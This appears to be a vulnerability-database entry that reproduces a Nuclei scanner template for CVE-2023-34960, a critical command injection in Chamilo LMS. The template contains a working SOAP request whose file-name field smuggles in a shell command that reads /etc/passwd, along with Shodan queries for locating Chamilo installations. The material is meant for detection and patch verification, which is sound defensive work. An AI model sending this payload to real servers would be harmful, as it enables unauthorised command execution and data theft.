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Chamilo Command Injection

🗓️ 23 Jun 2026 05:08:33Reported by ProjectDiscoveryType 
nuclei
 nuclei
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A command injection vulnerability in Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a crafted PowerPoint name. Successful exploitation can lead to unauthorized access, data leakage, and potential compromise of the entire system. Apply the latest security patches or updates provided by the vendor to fix the vulnerability

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id: CVE-2023-34960

info:
  name: Chamilo Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS.
  reference:
    - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D
    - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py
    - http://chamilo.com
    - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html
    - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-34960
    cwe-id: CWE-77
    epss-score: 0.99397
    epss-percentile: 0.99935
    cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: chamilo
    product: chamilo
    shodan-query:
      - http.component:"Chamilo"
      - http.component:"chamilo"
      - cpe:"cpe:2.3:a:chamilo:chamilo"
  tags: cve,cve2023,packetstorm,chamilo,vkev,vuln

http:
  - raw:
      - |
        POST /main/webservices/additional_webservices.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="UTF-8"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: word
        part: header
        words:
          - text/xml

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dc755f83821ba929694b9a56459ed6ae9d66281421bd60e11ff6ea35b65380a5022003875d9cb80950fb79255046f41ae0606e317494d564f0eed59d517b283bbba4:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.19.8
EPSS0.99397
SSVC
40